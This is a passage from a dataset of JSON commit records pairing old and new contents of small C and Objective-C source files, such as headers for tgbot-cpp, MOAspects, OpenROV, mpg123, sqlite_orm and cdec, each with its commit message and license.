EventHandler* _eventHandler;\n    int32_t _lastUpdateId = 0;\n    int32_t _limit;\n    int32_t _timeout;\n    std::shared_ptr<std::vector<std::string>> _allowupdates;\n};\n\n}\n\n#endif \/\/TGBOT_TGLONGPOLL_H\n","subject":"Fix too big timeout in long poller.","message":"Fix too big timeout in long poller.\n\nMake it 10 seconds instead of 60. Old timeout made bots irresponsible.","lang":"C","license":"mit","repos":"reo7sp\/tgbot-cpp,JellyBrick\/tgbot-cpp,JellyBrick\/tgbot-cpp,reo7sp\/tgbot-cpp,JellyBrick\/tgbot-cpp,reo7sp\/tgbot-cpp"}
{"commit":"bf63a3f52e6e47d50b74e9b770d839b2e56f6368","old_file":"ios\/RNS3\/RNS3TransferUtility.h","new_file":"ios\/RNS3\/RNS3TransferUtility.h","old_contents":"#import \"RCTBridgeModule.h\"\n#import \"RCTEventDispatcher.h\"\n#import <AWSCore\/AWSCore.h>\n#import <AWSS3\/AWSS3.h>\n\ntypedef enum {\n  BASIC, COGNITO\n} CredentialType;\n\n@interface RNS3TransferUtility : NSObject <RCTBridgeModule>\n+ (NSMutableDictionary*)nativeCredentialsOptions;\n+ (CredentialType)credentialType: (NSString *)type;\n+ (void)interceptApplication: (UIApplication *)application handleEventsForBackgroundURLSession:(NSString *)identifier completionHandler:(void (^)())completionHandler;\n@end\n","new_contents":"#import \"RCTBridgeModule.h\"\n#import \"RCTEventDispatcher.h\"\n#import <AWSCore\/AWSCore.h>\n#import <AWSS3\/AWSS3.h>\n\ntypedef NS_ENUM(NSInteger, CredentialType) {\n    BASIC,\n    COGNITO\n};\n\n@interface RNS3TransferUtility : NSObject <RCTBridgeModule>\n+ (NSMutableDictionary*)nativeCredentialsOptions;\n+ (CredentialType)credentialType: (NSString *)type;\n+ (void)interceptApplication: (UIApplication *)application handleEventsForBackgroundURLSession:(NSString *)identifier completionHandler:(void (^)())completionHandler;\n@end\n","subject":"Define enum as NSInteger to fix a warning.","message":"Define enum as NSInteger to fix a warning.\n","lang":"C","license":"mit","repos":"nharlow89\/react-native-s3,mybigday\/react-native-s3,mybigday\/react-native-s3,nharlow89\/react-native-s3,mybigday\/react-native-s3,mybigday\/react-native-s3,nharlow89\/react-native-s3,nharlow89\/react-native-s3"}
{"commit":"bcd8289a0eb5e4005a2ad4e70216839291896c47","old_file":"MOAspects\/MOAspects.h","new_file":"MOAspects\/MOAspects.h","old_contents":"\/\/\n\/\/  MOAspects.h\n\/\/  MOAspects\n\/\/\n\/\/  Created by Hiromi Motodera on 2015\/03\/15.\n\/\/  Copyright (c) 2015年 MOAI. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, MOAspectsPosition)\n{\n    MOAspectsPositionBefore,\n    MOAspectsPositionAfter\n};\n\ntypedef NS_ENUM(NSInteger, MOAspectsHookRange)\n{\n    MOAspectsHookRangeAll = -1,\n    MOAspectsHookRangeTargetOnly = -2\n};\n\n@interface MOAspects : NSObject\n\n+ (BOOL)hookInstanceMethodForClass:(Class)clazz\n                          selector:(SEL)selector\n                   aspectsPosition:(MOAspectsPosition)aspectsPosition\n                        usingBlock:(id)block;\n\n+ (BOOL)hookInstanceMethodForClass:(Class)clazz\n                          selector:(SEL)selector\n                   aspectsPosition:(MOAspectsPosition)aspectsPosition\n                         hookLevel:(MOAspectsHookRange)hookLevel\n                        usingBlock:(id)block;\n\n+ (BOOL)hookClassMethodForClass:(Class)clazz\n                       selector:(SEL)selector\n                aspectsPosition:(MOAspectsPosition)aspectsPosition\n                     usingBlock:(id)block;\n\n+ (BOOL)hookClassMethodForClass:(Class)clazz\n                       selector:(SEL)selector\n                aspectsPosition:(MOAspectsPosition)aspectsPosition\n                      hookLevel:(MOAspectsHookRange)hookLevel\n                     usingBlock:(id)block;\n\n@end\n","new_contents":"\/\/\n\/\/  MOAspects.h\n\/\/  MOAspects\n\/\/\n\/\/  Created by Hiromi Motodera on 2015\/03\/15.\n\/\/  Copyright (c) 2015年 MOAI. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, MOAspectsPosition)\n{\n    MOAspectsPositionBefore,\n    MOAspectsPositionAfter\n};\n\ntypedef NS_ENUM(NSInteger, MOAspectsHookRange)\n{\n    MOAspectsHookRangeAll = -1,\n    MOAspectsHookRangeTargetOnly = -2\n};\n\n@interface MOAspects : NSObject\n\n+ (BOOL)hookInstanceMethodForClass:(Class)clazz\n                          selector:(SEL)selector\n                   aspectsPosition:(MOAspectsPosition)aspectsPosition\n                        usingBlock:(id)block;\n\n+ (BOOL)hookInstanceMethodForClass:(Class)clazz\n                          selector:(SEL)selector\n                   aspectsPosition:(MOAspectsPosition)aspectsPosition\n                         hookLevel:(MOAspectsHookRange)hookRange\n                        usingBlock:(id)block;\n\n+ (BOOL)hookClassMethodForClass:(Class)clazz\n                       selector:(SEL)selector\n                aspectsPosition:(MOAspectsPosition)aspectsPosition\n                     usingBlock:(id)block;\n\n+ (BOOL)hookClassMethodForClass:(Class)clazz\n                       selector:(SEL)selector\n                aspectsPosition:(MOAspectsPosition)aspectsPosition\n                      hookLevel:(MOAspectsHookRange)hookRange\n                     usingBlock:(id)block;\n\n@end\n","subject":"Change hook level parameter name to hookRange","message":"Change hook level parameter name to hookRange\n","lang":"C","license":"mit","repos":"MO-AI\/MOAspects,MO-AI\/MOAspects"}
{"commit":"8dcc2a8ce26fd3f97cc818ebf536bb0fe563d835","old_file":"arduino\/OpenROV\/Settings.h","new_file":"arduino\/OpenROV\/Settings.h","old_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (1)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","new_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","subject":"Reset default settings to stock kit configuration","message":"Reset default settings to stock kit configuration\n","lang":"C","license":"mit","repos":"bmvakili\/openrov-software,MysteriousChanger\/burrito-cockpid,codewithpassion\/openrov-software,bmvakili\/openrov-software,BrianAdams\/openrov-software,codewithpassion\/openrov-software,LeeCheongAh\/openrov-software,ZonaElka\/testOpenROV,bmvakili\/openrov-software,MysteriousChanger\/burrito-cockpid,bmvakili\/openrov-software,bmvakili\/openrov-software,codewithpassion\/openrov-software,MysteriousChanger\/burrito-cockpid,BrianAdams\/openrov-software,ChangerR\/burrito-cockpid,ChangerR\/burrito-cockpid,BrianAdams\/openrov-software,ZonaElka\/testOpenROV,codewithpassion\/openrov-software,ZonaElka\/testOpenROV,BrianAdams\/openrov-software,ChangerR\/burrito-cockpid,LeeCheongAh\/openrov-software"}
{"commit":"5f44348e2126e13d50cf4f9f3195ae4979ab63c9","old_file":"include\/ethernet.h","new_file":"include\/ethernet.h","old_contents":"struct eth_hdr \n{\n    unsigned char dst_mac[6];\n    unsigned char src_mac[6];\n    short ethertype;\n    char* payload;\n};\n\nstruct eth_hdr* init_eth_hdr(char* buf);\nvoid print_eth_hdr(struct eth_hdr *ehdr);\n","new_contents":"#ifndef ETHERNET_H_\n#define ETHERNET_H_\n#include <linux\/if_ether.h>\n\nstruct eth_hdr \n{\n    unsigned char dst_mac[6];\n    unsigned char src_mac[6];\n    unsigned short ethertype;\n    unsigned char* payload;\n};\n\nstruct eth_hdr* init_eth_hdr(char* buf);\nvoid print_eth_hdr(struct eth_hdr *ehdr);\n\n#endif\n","subject":"Make eth header fields unsigned","message":"Make eth header fields unsigned\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"88c8743809cccd5d855599a9c37d3b19a849b465","old_file":"percolation\/io_helpers.c","new_file":"percolation\/io_helpers.c","old_contents":"#include \"io_helpers.h\"\n#include <stdio.h>\n\nvoid print_lattice(int * lattice, int rows, int columns, int with_borders)\n{\n    int i, j;\n\n    for (i = 0; i < rows; i++) {\n        if (with_borders) {\n            for (j = 0; j < columns; j++) {\n                printf(\"------\");\n            }\n            printf(\"-\\n\");\n        }\n        for (j = 0; j < columns; j++) {\n            if (with_borders) {\n                putchar('|');\n                putchar(' ');\n            }\n            if (lattice[i*columns + j] == 1) {\n                printf(\" x \");\n            } else if (lattice[i*columns + j] > 1) {\n                printf(\"%03d\", lattice[i*columns + j]);\n            } else {\n                if (with_borders) {\n                    putchar(' ');\n                    putchar(' ');\n                    putchar(' ');\n                } else {\n                    printf(\" o \");\n                }\n            }\n            if (with_borders) {\n                putchar(' ');\n                if (j == columns - 1) {\n                    putchar('|');\n                }\n            } else {\n                if (j < columns - 1) {\n                    putchar(' ');\n                }\n            }\n        }\n        putchar('\\n');\n    }\n    if (with_borders) {\n        for (j = 0; j < columns; j++) {\n            printf(\"------\");\n        }\n        printf(\"-\\n\");\n    }\n}\n","new_contents":"#include \"io_helpers.h\"\n#include <stdio.h>\n\nvoid print_lattice(int * lattice, int rows, int columns, int with_borders)\n{\n    int i, j;\n\n    for (i = 0; i < rows; i++) {\n        if (with_borders) {\n            for (j = 0; j < columns; j++) {\n                printf(\"------\");\n            }\n            printf(\"-\\n\");\n        }\n        for (j = 0; j < columns; j++) {\n            if (with_borders) {\n                putchar('|');\n                putchar(' ');\n            }\n            if (lattice[i*columns + j] == 1) {\n                printf(\" x \");\n            } else if (lattice[i*columns + j] > 1) {\n                printf(\"%03d\", lattice[i*columns + j]);\n            } else {\n                if (with_borders) {\n                    putchar(' ');\n                    putchar(' ');\n                    putchar(' ');\n                } else {\n                    printf(\" o \");\n                }\n            }\n            if (with_borders) {\n                putchar(' ');\n                if (j == columns - 1) {\n                    putchar('|');\n                }\n            } else {\n                if (j < columns - 1) {\n                    putchar(' ');\n                }\n            }\n        }\n        putchar('\\n');\n    }\n    if (with_borders) {\n        for (j = 0; j < columns; j++) {\n            printf(\"------\");\n        }\n        printf(\"-\\n\");\n    } else {\n        putchar('\\n');\n    }\n}\n","subject":"Add a newline after printing the lattice","message":"[percolation] Add a newline after printing the lattice\n","lang":"C","license":"mit","repos":"cerisola\/fiscomp,cerisola\/fiscomp,cerisola\/fiscomp"}
{"commit":"be4979026d5f3b966e1a7121f59714e1979cbf9d","old_file":"tests\/regression\/02-base\/50-unknown_func_array.c","new_file":"tests\/regression\/02-base\/50-unknown_func_array.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#define LENGTH 10\n\ntypedef struct arr {\n    int *ptrs[LENGTH];\n} arr_t;\n\n\/\/ int mutate_array(arr_t a){\n\/\/     int t = rand();\n\/\/     for(int i=0; i<LENGTH; i++) {\n\/\/         *(a.ptrs[i]) = t;\n\/\/     }\n\/\/ }\n\nint main(){\n    arr_t a;\n    int xs[LENGTH];\n\n    for(int i=0; i<LENGTH; i++){\n        xs[i] = 0;\n        a.ptrs[i] = &xs[0];\n    }\n\n    \/\/ When passing an arrays to an unknown function, reachable memory should be invalidated\n    mutate_array(a);\n    assert(xs[0] == 0); \/\/UNKNOWN!\n    return 0;\n}\n","subject":"Add test case where array is passed to unknown function.","message":"Add test case where array is passed to unknown function.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bef226437c591b50a40e01b905ce47131d9e1c30","old_file":"tutorials\/users\/tutorial_01\/wrapper_tutorial_01.h","new_file":"tutorials\/users\/tutorial_01\/wrapper_tutorial_01.h","old_contents":"","new_contents":"#ifndef HALIDE__generated_pgm_h\n#define HALIDE__generated_pgm_h\n\n#include <tiramisu\/utils.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint function0(halide_buffer_t *_p0_buffer);\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n#endif\n","subject":"Add wrapper for user tuto 01","message":"Add wrapper for user tuto 01\n","lang":"C","license":"mit","repos":"rbaghdadi\/ISIR,rbaghdadi\/COLi,rbaghdadi\/tiramisu,rbaghdadi\/COLi,rbaghdadi\/tiramisu,rbaghdadi\/ISIR,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu"}
{"commit":"476e707cf2b5192866827e532b10f25f58082a0b","old_file":"src\/GSvar\/SequencingRunWidget.h","new_file":"src\/GSvar\/SequencingRunWidget.h","old_contents":"#ifndef SEQUENCINGRUNWIDGET_H\n#define SEQUENCINGRUNWIDGET_H\n\n#include <QWidget>\n#include \"NGSD.h\"\n\nnamespace Ui {\nclass SequencingRunWidget;\n}\n\nclass SequencingRunWidget : public QWidget\n{\n\tQ_OBJECT\n\npublic:\n\tSequencingRunWidget(QWidget* parent, QString run_id);\n\t~SequencingRunWidget();\n\nsignals:\n\tvoid openProcessedSampleTab(QString ps_name);\n\nprotected slots:\n\tvoid updateGUI();\n\tvoid openSelectedSamples();\n\nprivate:\n\tUi::SequencingRunWidget* ui_;\n\tQString run_id_;\n\tNGSD db_;\n};\n\n#endif \/\/ SEQUENCINGRUNWIDGET_H\n","new_contents":"#ifndef SEQUENCINGRUNWIDGET_H\n#define SEQUENCINGRUNWIDGET_H\n\n#include <QWidget>\n#include <QAction>\n#include \"NGSD.h\"\n\nnamespace Ui {\nclass SequencingRunWidget;\n}\n\nclass SequencingRunWidget : public QWidget\n{\n\tQ_OBJECT\n\npublic:\n\tSequencingRunWidget(QWidget* parent, QString run_id);\n\t~SequencingRunWidget();\n\nsignals:\n\tvoid openProcessedSampleTab(QString ps_name);\n\nprotected slots:\n\tvoid updateGUI();\n\tvoid openSelectedSamples();\n\nprivate:\n\tUi::SequencingRunWidget* ui_;\n\tQString run_id_;\n\tNGSD db_;\n};\n\n#endif \/\/ SEQUENCINGRUNWIDGET_H\n","subject":"Fix missing include under OSX","message":"[GSvar] Fix missing include under OSX\n","lang":"C","license":"mit","repos":"imgag\/ngs-bits,imgag\/ngs-bits,imgag\/ngs-bits,imgag\/ngs-bits,imgag\/ngs-bits,imgag\/ngs-bits"}
{"commit":"829d693e3d1e519b837587adc51c940871666c13","old_file":"decoder\/dict.h","new_file":"decoder\/dict.h","old_contents":"#ifndef DICT_H_\n#define DICT_H_\n\n#include <cassert>\n#include <cstring>\n#include <tr1\/unordered_map>\n#include <string>\n#include <vector>\n\n#include <boost\/functional\/hash.hpp>\n\n#include \"wordid.h\"\n\nclass Dict {\n typedef std::tr1::unordered_map<std::string, WordID, boost::hash<std::string> > Map;\n public:\n  Dict() : b0_(\"<bad0>\") { words_.reserve(1000); }\n  inline int max() const { return words_.size(); }\n  inline WordID Convert(const std::string& word, bool frozen = false) {\n    Map::iterator i = d_.find(word);\n    if (i == d_.end()) {\n      if (frozen)\n        return 0;\n      words_.push_back(word);\n      d_[word] = words_.size();\n      return words_.size();\n    } else {\n      return i->second;\n    }\n  }\n  inline const std::string& Convert(const WordID& id) const {\n    if (id == 0) return b0_;\n    assert(id <= words_.size());\n    return words_[id-1];\n  }\n  void clear() { words_.clear(); d_.clear(); }\n private:\n  const std::string b0_;\n  std::vector<std::string> words_;\n  Map d_;\n};\n\n#endif\n","new_contents":"#ifndef DICT_H_\n#define DICT_H_\n\n#include <cassert>\n#include <cstring>\n#include <tr1\/unordered_map>\n#include <string>\n#include <vector>\n\n#include <boost\/functional\/hash.hpp>\n\n#include \"wordid.h\"\n\nclass Dict {\n typedef std::tr1::unordered_map<std::string, WordID, boost::hash<std::string> > Map;\n\n public:\n  Dict() : b0_(\"<bad0>\") { words_.reserve(1000); }\n\n  inline int max() const { return words_.size(); }\n\n  inline WordID Convert(const std::string& word, bool frozen = false) {\n    Map::iterator i = d_.find(word);\n    if (i == d_.end()) {\n      if (frozen)\n        return 0;\n      words_.push_back(word);\n      d_[word] = words_.size();\n      return words_.size();\n    } else {\n      return i->second;\n    }\n  }\n\n  inline WordID Convert(const std::vector<std::string>& words, bool frozen = false) {\n    std::string word= \"\";\n    for (std::vector<std::string>::const_iterator it=words.begin();\n         it != words.end(); ++it) {\n      if (it != words.begin()) word += \"__\";\n      word += *it;\n    }\n\n    return Convert(word, frozen);\n  }\n\n  inline const std::string& Convert(const WordID& id) const {\n    if (id == 0) return b0_;\n    assert(id <= words_.size());\n    return words_[id-1];\n  }\n\n  void clear() { words_.clear(); d_.clear(); }\n\n private:\n  const std::string b0_;\n  std::vector<std::string> words_;\n  Map d_;\n};\n\n#endif\n","subject":"Update utility functions to work with pyp-topics.","message":"Update utility functions to work with pyp-topics.\n\ngit-svn-id: 357248c53bdac2d7b36f7ee045286eb205fcf757@49 ec762483-ff6d-05da-a07a-a48fb63a330f\n","lang":"C","license":"apache-2.0","repos":"carhaas\/cdec-semparse,m5w\/atools,redpony\/cdec,veer66\/cdec,veer66\/cdec,veer66\/cdec,redpony\/cdec,carhaas\/cdec-semparse,carhaas\/cdec-semparse,veer66\/cdec,redpony\/cdec,m5w\/atools,veer66\/cdec,pks\/cdec-dtrain,pks\/cdec-dtrain,carhaas\/cdec-semparse,pks\/cdec-dtrain,redpony\/cdec,redpony\/cdec,redpony\/cdec,veer66\/cdec,pks\/cdec-dtrain,pks\/cdec-dtrain,carhaas\/cdec-semparse,pks\/cdec-dtrain,carhaas\/cdec-semparse,m5w\/atools"}
{"commit":"4e3d4683fedb59f6cdeaeefb04c96fa124463ed4","old_file":"src\/abuf.h","new_file":"src\/abuf.h","old_contents":"#ifndef ABUF_H\n#define ABUF_H\n\n#include <string.h>\n\n#define ABUF_INIT { NULL, 0}\n\nstruct abuf{\n\tchar *b;\n\tint len;\n};\n\nvoid abAppend(struct abuf*, const char*, int);\nvoid abFree(struct abuf*);\n\n#endif\n","new_contents":"#ifndef ABUF_H\n#define ABUF_H\n\n#include <stdlib.h>\n#include <string.h>\n\n#define ABUF_INIT { NULL, 0}\n\nstruct abuf{\n\tchar *b;\n\tint len;\n};\n\nvoid abAppend(struct abuf*, const char*, int);\nvoid abFree(struct abuf*);\n\n#endif\n","subject":"Include stdlib for free and realloc","message":"Include stdlib for free and realloc\n","lang":"C","license":"bsd-2-clause","repos":"JordanMajd\/t"}
{"commit":"74ba99eab5d87b36e1c7809b395725d83d0ab1d6","old_file":"src\/scan.c","new_file":"src\/scan.c","old_contents":"\/*\n\tscan: Esitmate length of a mpeg file and compare to length from exact scan.\n\n\tcopyright 2007 by the mpg123 project - free software under the terms of the LGPL 2.1\n\tsee COPYING and AUTHORS files in distribution or http:\/\/mpg123.org\n\tinitially written by Thomas Orgis\n*\/\n\n#include \"mpg123.h\"\n\nint main(int argc, char **argv)\n{\n\tmpg123_handle *m;\n\tint i;\n\tmpg123_init();\n\tm = mpg123_new(NULL, NULL);\n\tfor(i = 1; i < argc; ++i)\n\t{\n\t\toff_t a, b;\n\t\tmpg123_open(m, argv[i]);\n\t\ta = mpg123_length(m);\n\t\tmpg123_scan(m);\n\t\tb = mpg123_length(m);\n\t\tprintf(\"File %i: estimated %li vs. scanned %li\\n\", i, (long)a, (long)b);\n\t}\n\tmpg123_delete(m);\n\tmpg123_exit();\n\treturn 0;\n}\n","new_contents":"\/*\n\tscan: Estimate length (sample count) of a mpeg file and compare to length from exact scan.\n\n\tcopyright 2007 by the mpg123 project - free software under the terms of the LGPL 2.1\n\tsee COPYING and AUTHORS files in distribution or http:\/\/mpg123.org\n\tinitially written by Thomas Orgis\n*\/\n\n\/* Note the lack of error checking here.\n   While it would be nicer to inform the user about troubles, libmpg123 is designed _not_ to bite you on operations with invalid handles , etc.\n  You just jet invalid results on invalid operations... *\/\n\n#include <stdio.h>\n#include \"mpg123.h\"\n\nint main(int argc, char **argv)\n{\n\tmpg123_handle *m;\n\tint i;\n\tmpg123_init();\n\tm = mpg123_new(NULL, NULL);\n\tfor(i = 1; i < argc; ++i)\n\t{\n\t\toff_t a, b;\n\t\tmpg123_open(m, argv[i]);\n\t\ta = mpg123_length(m);\n\t\tmpg123_scan(m);\n\t\tb = mpg123_length(m);\n\t\tprintf(\"File %i: estimated %li vs. scanned %li\\n\", i, (long)a, (long)b);\n\t}\n\tmpg123_delete(m);\n\tmpg123_exit();\n\treturn 0;\n}\n","subject":"Add a note about error checking, fix description and include stdio.h .","message":"Add a note about error checking, fix description and include stdio.h .\n\n\ngit-svn-id: 793bb72743a407948e3701719c462b6a765bc435@1145 35dc7657-300d-0410-a2e5-dc2837fedb53\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123"}
{"commit":"0c617bdade524779a41ecffc85cfb9d261700318","old_file":"dev\/database_connection.h","new_file":"dev\/database_connection.h","old_contents":"#pragma once\n\n#include <string>   \/\/  std::string\n#include <sqlite3.h>\n#include <system_error> \/\/  std::error_code, std::system_error\n\n#include \"error_code.h\"\n\nnamespace sqlite_orm {\n    \n    namespace internal {\n\n        inline sqlite3 *open_db(std::string const&filename)\n    \t{\n    \t\tsqlite3 *result {nullptr};\n\t\t\tif(sqlite3_open(filename.c_str(), &result) != SQLITE_OK){\n\t\t\t\t\n\t\t\t\tthrow std::system_error(std::error_code(sqlite3_errcode(result), get_sqlite_error_category()), get_error_message(result, \"opening '\", filename, \"'. \"));\n            }\n\t\t\treturn result;\n    \t}\n    \t\n        struct database_connection {\n            explicit database_connection(const std::string &filename):\n\t\t\t\tdb {open_db(filename) }\n    \t\t{\n            }\n            \n            ~database_connection() {\n                sqlite3_close(this->db);\n            }\n            \n            sqlite3* get_db() {\n                return this->db;\n            }\n            \n        protected:\n            sqlite3 *db;\n        };\n    }\n}\n","new_contents":"#pragma once\n\n#include <string>   \/\/  std::string\n#include <sqlite3.h>\n#include <system_error> \/\/  std::error_code, std::system_error\n\n#include \"error_code.h\"\nnamespace sqlite_orm {\n    \n    namespace internal {\n\n        inline sqlite3 *open_db(std::string const&filename)\n        {\n            sqlite3 *result {nullptr};\n            if(sqlite3_open(filename.c_str(), &result) != SQLITE_OK){\n                throw_error(result, \"opening '\", filename, \"'. \");\n            }\n            return result;\n        }\n    \t\n        struct database_connection {\n            explicit database_connection(const std::string &filename):\n               db {open_db(filename) }\n            {}\n            \n            ~database_connection() {\n                sqlite3_close(this->db);\n            }\n            \n            sqlite3* get_db() {\n                return this->db;\n            }\n            \n        protected:\n            sqlite3 *db;\n        };\n    }\n}\n","subject":"Use the new throw function","message":"Use the new throw function","lang":"C","license":"agpl-3.0","repos":"fnc12\/sqlite_orm,fnc12\/sqlite_orm"}
{"commit":"1c719512a25876346c28ebaf0ecdad007fce0a99","old_file":"src\/Output\/Output_def.h","new_file":"src\/Output\/Output_def.h","old_contents":"\/* $Id: Output_def.h,v 1.16 2007-10-18 20:30:58 phruksar Exp $ *\/\n#ifndef _OUTPUT_DEF_H\n#define _OUTPUT_DEF_H\n\n#define OUTFMT_HEAD     0\n#define OUTFMT_UNITS    1\n#define OUTFMT_COMP     2  \n#define OUTFMT_NUM      4\n#define OUTFMT_ACT      8\n#define OUTFMT_HEAT    16\n#define OUTFMT_ALPHA   32\n#define OUTFMT_BETA    64\n#define OUTFMT_GAMMA  128\n#define OUTFMT_SRC    256\n#define OUTFMT_CDOSE  512\n#define OUTFMT_ADJ   1024\n#define OUTFMT_EXP   2048\n#define OUTFMT_WDR   4096\n\n#define OUTNORM_KG        -2\n#define OUTNORM_G         -1\n#define OUTNORM_NULL       0\n#define OUTNORM_CM3        1\n#define OUTNORM_M3         2\n#define OUTNORM_VOL_INT  100\n\n#define BQ_CI     2.7027e-11\n\n#define CM3_M3           1e-6\n#define G_KG             1e-3\n\n#endif\n","new_contents":"\/* $Id: Output_def.h,v 1.17 2008-07-31 18:08:50 phruksar Exp $ *\/\n#ifndef _OUTPUT_DEF_H\n#define _OUTPUT_DEF_H\n\n#define OUTFMT_HEAD     0\n#define OUTFMT_UNITS    1\n#define OUTFMT_COMP     2  \n#define OUTFMT_NUM      4\n#define OUTFMT_ACT      8\n#define OUTFMT_HEAT    16\n#define OUTFMT_ALPHA   32\n#define OUTFMT_BETA    64\n#define OUTFMT_GAMMA  128\n#define OUTFMT_SRC    256\n#define OUTFMT_CDOSE  512\n#define OUTFMT_ADJ   1024\n#define OUTFMT_EXP   2048\n#define OUTFMT_EXP_CYL_VOL 4096\n#define OUTFMT_WDR   8192\n\n#define OUTNORM_KG        -2\n#define OUTNORM_G         -1\n#define OUTNORM_NULL       0\n#define OUTNORM_CM3        1\n#define OUTNORM_M3         2\n#define OUTNORM_VOL_INT  100\n\n#define BQ_CI     2.7027e-11\n\n#define CM3_M3           1e-6\n#define G_KG             1e-3\n\n#endif\n","subject":"Define new number for new exposure rate calc","message":"Define new number for new exposure rate calc\n\n","lang":"C","license":"bsd-3-clause","repos":"elliottbiondo\/ALARA,elliottbiondo\/ALARA,elliottbiondo\/ALARA,elliottbiondo\/ALARA,elliottbiondo\/ALARA"}
{"commit":"22ecd57dc0d2fa3e82dc0d2a39250ac0f2a5db4b","old_file":"rand.h","new_file":"rand.h","old_contents":"\/**\n * Copyright (c) 2013-2014 Tomas Dzetkulic\n * Copyright (c) 2013-2014 Pavol Rusnak\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef __RAND_H__\n#define __RAND_H__\n\n#include <stdint.h>\n\nvoid init_rand(void);\nint finalize_rand(void);\nuint32_t random32(void);\nvoid random_buffer(uint8_t *buf, size_t len);\n\n#endif\n","new_contents":"\/**\n * Copyright (c) 2013-2014 Tomas Dzetkulic\n * Copyright (c) 2013-2014 Pavol Rusnak\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef __RAND_H__\n#define __RAND_H__\n\n#include <stdlib.h>\n#include <stdint.h>\n\nvoid init_rand(void);\nint finalize_rand(void);\nuint32_t random32(void);\nvoid random_buffer(uint8_t *buf, size_t len);\n\n#endif\n","subject":"Add stdlib.h to 